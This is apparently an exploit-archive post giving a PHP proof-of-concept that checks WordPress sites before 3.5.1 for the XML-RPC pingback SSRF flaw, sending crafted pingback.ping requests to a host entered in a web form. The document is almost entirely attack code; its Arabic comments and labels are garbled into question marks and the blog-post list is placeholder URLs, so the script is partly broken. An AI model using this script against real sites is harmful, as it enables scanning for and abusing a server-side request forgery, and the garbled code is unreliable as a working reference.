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| # Title : WordPress before =============================================================================================================================================
| # Title : WordPress before 3.5.1 Pingback Checker Tool |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://wordpress.org/ |
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POC :

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[+] Code Description: The XMLRPC API in WordPress before 3.5.1 allows remote attackers to send HTTP requests to intranet servers, and conduct port-scanning attacks, by specifying a crafted source URL for a pingback, related to a Server-Side Request Forgery (SSRF) issue.

[+] save code as poc.php.

[+] USage : http://127.0.0.1/poc.php

[+] PayLoad :

<?php

class WordpressPingbackLocator {
private $targetUri;
private $numRedirects;
private $dbActive;

public function __construct($targetUri = '/', $numRedirects = 10) {
$this->targetUri = rtrim($targetUri, '/') . '/';
$this->numRedirects = $numRedirects;
$this->dbActive = $this->checkDatabase();
}

private function checkDatabase() {
// ???? ??? ??? ??? ???? ????? ?????? ????????
return function_exists('mysqli_connect');
}

public function getXmlRpcUrl($ip) {
echo "$ip - Enumerating XML-RPC URI...\n";

$headers = get_headers("http://$ip{$this->targetUri}", 1);
if (isset($headers['X-Pingback'])) {
return $headers['X-Pingback'];
}
echo "$ip - X-Pingback header not found\n";
return null;
}

public function generatePingbackXml($target, $validBlogPost) {
return "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" .
"<methodCall><methodName>pingback.ping</methodName>" .
"<params><param><value><string>$target</string></value></param>" .
"<param><value><string>$validBlogPost</string></value></param>" .
"</params></methodCall>";
}

public function getBlogPosts($xmlRpc, $ip) {
$blogPosts = $this->getAllBlogPosts();
foreach ($blogPosts as $blogPost) {
$response = $this->sendPingbackRequest($xmlRpc, 'http://127.0.0.1', $blogPost);
if ($response && strpos($response, '<value><int>33</int></value>') === false) {
echo "$ip - Pingback enabled: $blogPost\n";
return $blogPost;
}
}
return null;
}

private function sendPingbackRequest($xmlRpc, $target, $blogPost) {
$pingbackXml = $this->generatePingbackXml($target, $blogPost);
$ch = curl_init($xmlRpc);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $pingbackXml);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}

private function getAllBlogPosts() {
return ["http://example.com/post1", "http://example.com/post2"];
}

public function runHost($ip) {
echo "$ip - Checking if it's a WordPress site...\n";
$xmlrpc = $this->getXmlRpcUrl($ip);
if (!$xmlrpc) {
echo "$ip - Not vulnerable or not a WordPress site\n";
return;
}

$blogPost = $this->getBlogPosts($xmlrpc, $ip);
if ($blogPost && $this->dbActive) {
$this->storeVuln($ip, $blogPost);
} else {
echo "$ip - X-Pingback enabled but no vulnerable blogs found\n";
}
}

private function storeVuln($ip, $blog) {
echo "Stored vulnerability: $ip - Pingback found at $blog\n";
}
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target = $_POST['target'] ?? '';
if (!empty($target)) {
$scanner = new WordpressPingbackLocator('/wordpress/');
$scanner->runHost($target);
}
}
?>

<!DOCTYPE html>
<html lang="ar">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>??? WordPress Pingback</title>
</head>
<body>
<h2>???? ??? WordPress Pingback</h2>
<form method="POST">
<label for="target">???? ????? ??????:</label>
<input type="text" id="target" name="target" required>
<button type="submit">???</button>
</form>
</body>
</html>
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